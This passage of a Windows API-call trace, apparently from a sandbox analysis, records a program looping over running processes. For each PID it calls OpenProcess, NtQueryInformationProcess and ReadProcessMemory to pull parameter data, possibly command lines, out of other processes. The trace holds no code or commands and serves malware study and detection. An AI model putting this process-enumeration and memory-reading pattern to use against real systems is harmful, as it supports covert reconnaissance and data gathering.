returned 0xa9c [0351.433] GetLastError () returned 0x0 [0351.433] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d24e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.434] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.434] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.435] malloc (_Size=0x64) returned 0xeb65b0 [0351.435] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2164, lpBuffer=0xeb65b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0351.435] free (_Block=0xeb65b0) [0351.435] CloseHandle (hObject=0xa9c) returned 1 [0351.435] _ui64tow_s (in: _Value=0xf60, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3936") returned 0x0 [0351.436] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3936") returned 4 [0351.436] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.436] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.437] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0xa9c [0351.437] GetLastError () returned 0x0 [0351.437] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.437] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.438] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.438] malloc (_Size=0x8c) returned 0xec7160 [0351.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7160, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7160*, lpNumberOfBytesRead=0x0) returned 1 [0351.438] free (_Block=0xec7160) [0351.439] CloseHandle (hObject=0xa9c) returned 1 [0351.439] _ui64tow_s (in: _Value=0xee4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0351.439] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3812") returned 4 [0351.439] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.439] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.440] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0xa9c [0351.440] GetLastError () returned 0x0 [0351.440] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.440] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.440] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.440] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2490, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.440] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2118, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.441] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.441] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.441] malloc (_Size=0x2c) returned 0xe727b0 [0351.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a216a, lpBuffer=0xe727b0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe727b0*, lpNumberOfBytesRead=0x0) returned 1 [0351.442] free (_Block=0xe727b0) [0351.442] CloseHandle (hObject=0xa9c) returned 1 [0351.442] _ui64tow_s (in: _Value=0xf64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0351.442] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3940") returned 4 [0351.444] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.444] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.445] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0xa9c [0351.445] GetLastError () returned 0x0 [0351.445] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5324b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.446] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.446] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.446] malloc (_Size=0x60) returned 0xeb62a0 [0351.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532162, lpBuffer=0xeb62a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.447] free (_Block=0xeb62a0) [0351.447] CloseHandle (hObject=0xa9c) returned 1 [0351.447] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0351.447] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="708") returned 3 [0351.447] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.447] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.448] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0351.448] CloseHandle (hObject=0x0) returned 0 [0351.449] _ui64tow_s (in: _Value=0xffc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0351.449] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4092") returned 4 [0351.449] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.449] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.450] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0xa9c [0351.450] GetLastError () returned 0x0 [0351.450] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.450] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.450] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.450] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.450] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2228, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.450] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.451] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.451] malloc (_Size=0x70) returned 0xea8da0 [0351.451] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2280, lpBuffer=0xea8da0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8da0*, lpNumberOfBytesRead=0x0) returned 1 [0351.452] free (_Block=0xea8da0) [0351.452] CloseHandle (hObject=0xa9c) returned 1 [0351.452] _ui64tow_s (in: _Value=0xc78, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0351.452] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3192") returned 4 [0351.452] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.452] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.453] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0351.453] CloseHandle (hObject=0x0) returned 0 [0351.453] _ui64tow_s (in: _Value=0x888, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0351.454] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2184") returned 4 [0351.454] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.454] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.454] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xa9c [0351.454] GetLastError () returned 0x0 [0351.455] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5226a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222a8, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.455] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.455] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.455] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.456] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c60, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.456] malloc (_Size=0x7e) returned 0xe878b0 [0351.456] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522308, lpBuffer=0xe878b0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe878b0*, lpNumberOfBytesRead=0x0) returned 1 [0351.456] free (_Block=0xe878b0) [0351.457] CloseHandle (hObject=0xa9c) returned 1 [0351.457] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0351.460] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3212") returned 4 [0351.460] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.460] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.463] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0xa9c [0351.463] GetLastError () returned 0x0 [0351.463] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.463] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.463] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.463] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e27b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2358, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.464] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.464] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1d10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.465] malloc (_Size=0xbc) returned 0xec9480 [0351.465] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0351.465] free (_Block=0xec9480) [0351.465] CloseHandle (hObject=0xa9c) returned 1 [0351.465] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0351.466] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2040") returned 4 [0351.466] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.466] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.467] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xa9c [0351.467] GetLastError () returned 0x0 [0351.467] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.467] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.467] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.467] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d40, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.467] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.468] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.468] NtQueryInformationProcess (in: 